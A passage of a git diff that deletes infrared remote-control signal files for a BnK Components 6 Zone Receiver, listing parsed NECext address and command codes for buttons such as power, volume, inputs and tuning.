CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 20 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 23 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 29 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 2D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 30 00 00 00 -# -name: SELECT_ENTER -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 4A 00 00 00 -# -name: PSET_UP -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 4B 00 00 00 -# -name: D_IN -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 5A 00 00 00 -# -name: BASS_DN -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 65 00 00 00 -# -name: SOURCE_UP -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 66 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 76 00 00 00 -# -name: TREB_DN -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 8E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: A2 00 00 00 -# -name: SOURCE_DN -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: A6 00 00 00 -# -name: PSET_DN -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: C6 00 00 00 -# -name: LOUD -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: CF 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: E5 00 00 00 -# -name: M_[STM] -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: EB 00 00 00 -# -name: TREB_UP -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: F9 00 00 00 -# -name: VIDEO_+ -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir deleted file mode 100644 index 717311660..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir +++ /dev/null @@ -1,332 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 18 00 00 00 -# -name: TUN_- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 1B 00 00 00 -# -name: TUN_+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 1C 00 00 00 -# -name: CUR_LEFT -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 1F 00 00 00 -# -name: CUR_RIGHT -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 29 00 00 00 -# -name: CUR_DOWN -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 2D 00 00 00 -# -name: CUR_UP -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 30 00 00 00 -# -name: SEL/ENTER -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 4A 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 4B 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 5A 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 65 00 00 00 -# -name: SOURCE_+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 66 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 76 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: 8E 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: A2 00 00 00 -# -name: SOURCE_- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: A6 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: C6 00 00 00 -# -name: LOUDNESS -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: CF 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: E5 00 00 00 -# -name: M -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: EB 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: F9 00 00 00 -# -name: V+ -type: parsed -protocol: NECext -address: 8B 47 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir deleted file mode 100644 index b44324fec..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 0F 00 00 00 -# -name: STA_DN -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 17 00 00 00 -# -name: STA_UP -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 18 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 1B 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 1F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 20 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 23 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 29 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 2D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 30 00 00 00 -# -name: SELECT_ENTER -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 4A 00 00 00 -# -name: PSET_UP -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 4B 00 00 00 -# -name: D_IN -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 5A 00 00 00 -# -name: BASS_DN -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 65 00 00 00 -# -name: SOURCE_UP -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 66 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 76 00 00 00 -# -name: TREB_DN -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: BB 00 00 00 -command: 8E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: BB 00 00 00 -command: A2 00 00 00 -# -name: SOURCE_DN -type: parsed -protocol: NECext -address: BB 00 00 00 -command: A6 00 00 00 -# -name: PSET_DN -type: parsed -protocol: NECext -address: BB 00 00 00 -command: C6 00 00 00 -# -name: LOUD -type: parsed -protocol: NECext -address: BB 00 00 00 -command: CF 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: BB 00 00 00 -command: E5 00 00 00 -# -name: M_[STM] -type: parsed -protocol: NECext -address: BB 00 00 00 -command: EB 00 00 00 -# -name: TREB_UP -type: parsed -protocol: NECext -address: BB 00 00 00 -command: F9 00 00 00 -# -name: VIDEO_+ -type: parsed -protocol: NECext -address: BB 00 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir deleted file mode 100644 index 1b9809b48..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 18 00 00 00 -# -name: TUN_- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 1B 00 00 00 -# -name: TUN_+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 1C 00 00 00 -# -name: CUR_LEFT -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 1F 00 00 00 -# -name: CUR_RIGHT -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 29 00 00 00 -# -name: CUR_DOWN -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 2D 00 00 00 -# -name: CUR_UP -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 30 00 00 00 -# -name: SEL/ENTER -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 4A 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 4B 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 5A 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 65 00 00 00 -# -name: SOURCE_+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 66 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 76 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 8E 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: CB 43 00 00 -command: A2 00 00 00 -# -name: SOURCE_- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: A6 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: C6 00 00 00 -# -name: LOUDNESS -type: parsed -protocol: NECext -address: CB 43 00 00 -command: CF 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: E5 00 00 00 -# -name: M -type: parsed -protocol: NECext -address: CB 43 00 00 -command: EB 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: F9 00 00 00 -# -name: V+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir deleted file mode 100644 index 24bae856f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 0F 00 00 00 -# -name: STA_DN -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 17 00 00 00 -# -name: STA_UP -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 18 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 1B 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 1F 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 20 00 00 00 -# -name: VOL_DN -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 23 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 29 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 2D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 2F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 30 00 00 00 -# -name: SELECT_ENTER -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 3F 00 00 00 -# -name: SAVE -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 40 00 00 00 -# -name: IN_6 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 4A 00 00 00 -# -name: PSET_UP -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 4B 00 00 00 -# -name: D_IN -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 5A 00 00 00 -# -name: BASS_DN -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 65 00 00 00 -# -name: SOURCE_UP -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 66 00 00 00 -# -name: IN_9 -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 76 00 00 00 -# -name: TREB_DN -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 79 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: DB 42 00 00 -command: 8E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: DB 42 00 00 -command: A2 00 00 00 -# -name: SOURCE_DN -type: parsed -protocol: NECext -address: DB 42 00 00 -command: A6 00 00 00 -# -name: PSET_DN -type: parsed -protocol: NECext -address: DB 42 00 00 -command: C6 00 00 00 -# -name: LOUD -type: parsed -protocol: NECext -address: DB 42 00 00 -command: CF 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: DB 42 00 00 -command: E5 00 00 00 -# -name: M_[STM] -type: parsed -protocol: NECext -address: DB 42 00 00 -command: EB 00 00 00 -# -name: TREB_UP -type: parsed -protocol: NECext -address: DB 42 00 00 -command: F9 00 00 00 -# -name: VIDEO_+ -type: parsed -protocol: NECext -address: DB 42 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir deleted file mode 100644 index 9cbc38729..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir +++ /dev/null @@ -1,668 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 01 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 03 00 00 00 -# -name: IN_1 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 05 00 00 00 -# -name: IN_3 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 06 00 00 00 -# -name: IN_8 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 07 00 00 00 -# -name: IN_2 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 09 00 00 00 -# -name: IN_7 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 0B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 0B 00 00 00 -# -name: IN_4 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 0D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 0D 00 00 00 -# -name: IN_5 -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 17 00 00 00 -# -name: STA_DN -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 17 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 18 00 00 00 -# -name: STA_UP -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 18 00 00 00 -# -name: TUN_- -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 1B 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 1B 00 00 00 -# -name: TUN_+ -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 1C 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 1C 00 00 00 -# -name: CUR_LEFT -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 1F 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 1F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 1F 00 00 00 -# -name: CUR_RIGHT -type: parsed -protocol: NECext -address: F2 D0 00 00 -command: 20 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext 